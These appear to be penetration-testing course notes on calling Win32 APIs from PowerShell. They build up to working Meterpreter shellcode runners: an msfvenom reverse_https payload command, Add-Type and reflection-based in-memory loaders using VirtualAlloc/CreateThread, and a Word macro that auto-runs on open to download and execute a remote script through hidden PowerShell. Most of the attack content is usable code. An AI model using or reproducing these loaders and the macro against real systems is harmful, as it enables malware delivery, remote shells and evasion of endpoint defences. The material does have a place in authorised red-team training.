PowerShell cannot natively interact with the Win32 APIs, but with the power of the .NET framework we can use C# in our PowerShell session.
In C#, we can declare and import Win32 APIs using the DllImportAttribute1 class. This allows us to invoke functions in unmanaged dynamic link libraries.
Just like with VBA, we must translate the C data types to C# data types. We can do this easily with Microsoft’s Platform Invocation Services, commonly known as P/Invoke.2 The P/Invoke APIs are contained in the System3 and System.Runtime.InteropServices4 namespaces and must be imported through the using5 directive keyword.
$User = @"
using System;using System.Runtime.InteropServices;
public class UserTest { [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options); }
"@
Add-Type $User
[UserTest]::MessageBox(0, "This is an alert", "MyBox", 0)// The name of the class (User32 in our case) is arbitrary and any could be chosen.
// New like after and before C# Code block
-
For DLLImport statement declaration, Search for the API function you want to use in google.
pinvoke c# MessageBox -
The C# block between
@""@ -
Assign it to a variable
-
Add-Type to compile the C# Code in the Stored variable
-
Call the function with the class name declared and passing the arguments
Exercise and code
$User32 = @"
using System;
using System.Runtime.InteropServices;
public class MyFriend
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool GetUserName(System.Text.StringBuilder sb, ref int length);
}
"@
Add-Type $User32
# Define parameters for GetUserName
$usernameBuilder = New-Object System.Text.StringBuilder 256
$usernameLength = 256
# Call the GetUserName function
$success = [MyFriend]::GetUserName($usernameBuilder, [ref]$usernameLength)
if ($success) {
$username = $usernameBuilder.ToString()
[MyFriend]::MessageBox(0,"Username: $username", "Attention!", 0)
} else {
Write-Host "Failed to retrieve username."
}
Powershell Shellcode runner
Generating the Shell Code
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1
With Add-Type
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@
Add-Type $Kernel32[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...
$size = $buf.Length [IntPtr]
$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);We invoked the imported VirtualAlloc call with the same arguments as before. These include a “0” to let the API choose the allocation address, the detected size of the shellcode, and the hexadecimal numbers 0x3000 and 0x40 to set up memory allocation and protections correctly.
We used the .NET Copy method to copy the shellcode, supplying the managed shellcode array, an offset of 0 indicating the start of the buffer, the unmanaged buffer address, and the shellcode size.
Finally, we called CreateThread, supplying the starting address.
With Reflection Powershell shellcode loader in memory
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {
$tmp+=$_
}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Triggring from word macro
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubHowever, we don’t catch a shell in our multi/handler. Let’s try to troubleshoot.
The reason for this is fairly straightforward. Our previous VBA shellcode runner continued executing because we never terminated its parent process (Word). However, in this version, our shell dies as soon as the parent PowerShell process terminates. Our shell is essentially being terminated before it even starts.
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@
[DllImport("kernel32.dll", SetLastError=true)] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
Add-Type $Kernel32
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...
$size = $buf.Length [IntPtr]
$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
To solve this, we must instruct PowerShell to delay termination until our shell fully executes. We’ll use the Win32 WaitSingleObject2 API to pause the script and allow Meterpreter to finish.
Leveraging UnsafeNativeMethods
Dynamic Lookup of Win32 APIs
- GetModuleHandle and GetProcAddress:
- Two primary ways to locate functions in unmanaged DLLs.
- Avoid using Add-Type to operate completely in-memory.
- Use GetModuleHandle to obtain a handle to a DLL and GetProcAddress to find a specific function’s address.
- Locate existing assemblies for reuse to avoid creating new assemblies.
- Script to list and parse functions in loaded assemblies:
Obtaining References to Functions
- Use reflection to obtain references to functions.
- Filter assemblies and types based on criteria.
- Locate
Microsoft.Win32.UnsafeNativeMethodsto findGetModuleHandleandGetProcAddress. - Code to obtain a reference to the System.dll assembly:
Final function to look for the module handle and GetProcAddress
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {$tmp+=$_}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
You call it like
LookupFunc -moduleName "user32.dll" -functionName "MessageBoxA"Delegation Type Reflection
# Define the LookupFunc function to resolve Win32 API addresses
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {$tmp+=$_}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# Define the function to call Win32 APIs using reflection
function CallWin32APIUsingReflection {
Param ($moduleName, $functionName)
# Resolve the function address using the LookupFunc function
$functionAddress = LookupFunc $moduleName $functionName
# Create a custom assembly object in memory
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
# Define a custom type (delegate)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
# Define a constructor for the custom type
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [IntPtr], [int], [int], [int], [int]))
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
# Define the Invoke method for the delegate type
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', [IntPtr], @([IntPtr], [IntPtr], [int], [int], [int], [int]))
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
# Create the delegate type
$MyDelegateType = $MyTypeBuilder.CreateType()
# Get the delegate for the function pointer
$MyFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($functionAddress, $MyDelegateType)
# Invoke the delegate function
$result = $MyFunction.Invoke(0, 0, 0, 0, 0, 0)
# Return the result
return $result
}
# Example usage for VirtualAlloc
$result = CallWin32APIUsingReflection "kernel32.dll" "VirtualAlloc"
Write-Host "VirtualAlloc Result: $result"
# Example usage for RtlMoveMemory
$result = CallWin32APIUsingReflection "kernel32.dll" "RtlMoveMemory"
Write-Host "RtlMoveMemory Result: $result"
# Example usage for CreateThread
$result = CallWin32APIUsingReflection "kernel32.dll" "CreateThread"
Write-Host "CreateThread Result: $result"